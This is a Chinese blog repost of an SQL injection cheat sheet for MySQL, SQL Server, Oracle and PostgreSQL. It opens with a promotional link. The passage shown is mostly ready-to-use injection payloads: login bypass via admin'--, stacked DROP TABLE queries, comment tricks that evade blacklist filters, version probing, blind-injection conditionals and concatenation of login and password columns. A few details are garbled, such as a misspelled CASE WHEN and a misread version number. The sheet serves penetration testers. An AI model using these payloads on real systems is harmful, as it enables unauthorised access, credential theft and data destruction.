分享一下我老师大神的人工智能教程!零基础,通俗易懂!http://blog.youkuaiyun.com/jiangjunshow
也欢迎大家转载本篇文章。分享知识,造福人民,实现我们中华民族伟大复兴!
什么是 SQL 注入速查表?
SQL注入速查表是可以为你提供关于不同种类 SQL注入漏洞 的详细信息的一个资源。这份速查表对于经验丰富的渗透测试人员,或者刚开始接触 Web应用安全 的初学者,都是一份很好的参考资料。
关于这份 SQL 注入速查表
这份 SQL 速查表最初是 2007 年时 Ferruh Mavituna 在他自己的博客上发布的。我们更新了它并将它移到了公司 CEO 的博客上。现在,这份速查表仅包含了 MySQL 、SQL Server,和有限的一些关于 Oracle 和 PostgerSQL 数据库的信息。表中的部分示例可能无法在每一个场景都正常运行,因为真实使用的环境中,可能因为括号的使用、不同的代码上下文以及出乎意料的、奇怪而复杂的 SQL 语句而有所差异。
示例提供给你关于潜在攻击的基本思路,而且几乎每节都包含有简短的说明。
M:MySQL
S:SQL Server
P:PostgreSQL
O:Oracle
+:可能出现在其他所有数据库
例如:
(MS)代表:MySQL 和 SQL Server 等
(M*S)代表:仅部分版本及有特殊说明的 MySQL,以及 SQLServer
目录表
语法参考,攻击样例以及注入小技巧
(1)行间注释
使用了行间注释的 SQL 注入攻击样例
(2)行内注释
经典的行内注释注入攻击样例
MySQL 版本探测攻击样例
(3)堆叠查询(Stacking Queries)
支持堆叠查询的语言/数据库
关于 MySQL 和 PHP
堆叠注入攻击样例
(4)If 语句
MySQL 的 If 语句
SQL Server 的 If 语句
If 语句的注入攻击样例
(5)使用整数(Integers)
(6)字符串操作
字符串的连结
(7)没有引号的字符串
基于 16 进制的注入攻击样例
(8)字符串变体 & 相关知识
(9)Union 注入
UNION — 语言问题处理
(10)绕过登陆界面
(11)在SQL Server 2005 中启用 xp_cmdshell
(12)探测 SQL Server 数据库的结构
(13)从基于错误的 SQL 注入中快速提取数据的方法
(14)SQL 盲注
(15)掩盖痕迹
(16)MySQL 的额外说明
(17)二阶 SQL 注入
(18)带外(OOB)频道攻击
语法参考、攻击示例和注入小技巧
结束 / 注释掉 / 行注释
行间注释
注释掉查询语句的其余部分
行间注释通常用于忽略掉查询语句的其余部分,这样你就不用处理因为注入导致的语法变动。
— (SM)
DROP sampletable;--
# (M)
DROP sampletable;#
行间注释的 SQL 注入攻击示例
用户名:admin’–
SELECT * FROM members WHERE username = 'admin'--' AND password = 'password'
这会让你以admin用户身份登录,因为其余部分的SQL语句被注释掉了。
行内注释
通过不关闭的注释,注释掉查询语句的其余部分,或者用于绕过黑名单过滤、移除空格、迷惑和探测数据库版本。
/*这里是注释内容*/ (SM)
DROP/*注释*/sampletable
DR/**/OP/*绕过过滤*/sampletable
SELECT/*消除空格*/password/**/FROM/**/Members
/*! MYSQL 专有 SQL */ (M)
这是 MySQL 的专有语法。非常适合用来探测 MySQL 版本。如果你在注释中写入代码,只有 MySQL 才会执行。你同样可以使用这个方法,让代码只在服务器版本高于指定版本才执行。
SELECT /*!32302 1/0, */ 1 FROM tablename
经典的行内注释 SQL 注入攻击示例
ID: 10; DROP TABLE members /*
在查询结尾简单地去除其他内容。等同于 10; DROP TABLE members —
SELECT /*!32302 1/0, */ 1 FROM tablename
如果 MySQL 版本高于 23.02 会抛出一个除数为 0(division by 0)的错误
MySQL 版本探测攻击示例
ID: /*!32302 10*/
ID: 10
如果 MySQL 的版本高于 23.02,执行上面两个查询你将得到相同的结果
SELECT /*!32302 1/0, */ 1 FROM tablename
如果 MySQL 版本高于 23.02 会抛出一个除数为 0(division by 0)的错误
堆叠查询
在一个事务中执行多个查询。这在每一个注入点都非常有用,尤其是后端使用了 SQL Server 的应用程序。
; (S)
SELECT * FROM members; DROP members--
结束一个查询并开始一个新的查询。
语言 / 数据库堆叠查询支持表
绿色:支持;深灰色:不支持;浅灰色:未知
关于 MySQL 和 PHP
阐明一些问题
PHP – MySQL 不支持堆叠查询,Java 不支持堆叠查询(Oracle 我很确定,其他的就不太确定了)。通常来说 MySQL 支持堆叠查询,但在 PHP – MySQL 应用程序中大多数配置下的数据库层都不能执行第二条查询,也许 MySQL 客户端支持这个,我并不是很确定。有人能说明下吗?
堆叠注入攻击示例
ID: 10;DROP members —
SELECT * FROM products WHERE id = 10; DROP members--
这在正常SQL查询执行后将会执行 DROP members 语句。
If语句
根据If语句得到响应。这是盲注(Blind SQL Injection)的关键点之一,在盲注和精确的简单测试中都非常有用。
MySQL 的 If 语句
IF(condition,true-part,false-part)(M)
SELECT IF(1=1,'true','false')
SQL Server 的 If 语句
IF condition true-part ELSE false-part(S)
IF (1=1) SELECT 'true' ELSE SELECT 'false'
Oracle 的 If 语句
BEGIN
IF condition THEN true-part; ELSE false-part; END IF; END;(O)
IF (1=1) THEN dbms_lock.sleep(3); ELSE dbms_lock.sleep(0); END IF; END;
PostgreSQL 的 If 语句
SELECT CASE WHEN condition THEN true-part ELSE false-part END;(P)
SELECT CASE WEHEN (1=1) THEN 'A' ELSE 'B'END;
If 语句的 SQL 注入攻击示例
if ((select user) = 'sa' OR (select user) = 'dbo') select 1 else select 1/0 (S)
如果当前登录的用户不是 ”sa” 或 “dbo”,语句会抛出 除数为0 的错误。
整数的使用
对于绕过非常有用,如 magic_quotes() 和类似的过滤器,甚至是各种WAF。
0xHEXNUMBER(SM)
你可以这样使用 16 进制数。
SELECT CHAR(0x66)(S)
SELECT 0x5045 (这不是一个整数,而会是一个 16 进制字符串)(M)
SELECT 0x50 + 0x45 (现在这个是整数了!)(M)
字符串操作
字符串相关的操作。这些对于构造不含引号、绕过黑名单或探测后端数据库的注入非常有用。
字符串的连结
+ (S)
SELECT login + '-' + password FROM members
|| (*MO)
SELECT login || '-' || password FROM members
* 关于 MySQL 的 “||”
仅当 MySQL 在 ANSI 模式下这(指 “||” 符号)才会执行,其他模式下 MySQL 会当成 逻辑运算符 并返回 0。更好的方式是使用 MySQL 的 CONCAT() 函数。
CONCAT(str1, str2, str3, …) (M)
连接参数里提供的字符串。
SELECT CONCAT(login, password) FROM members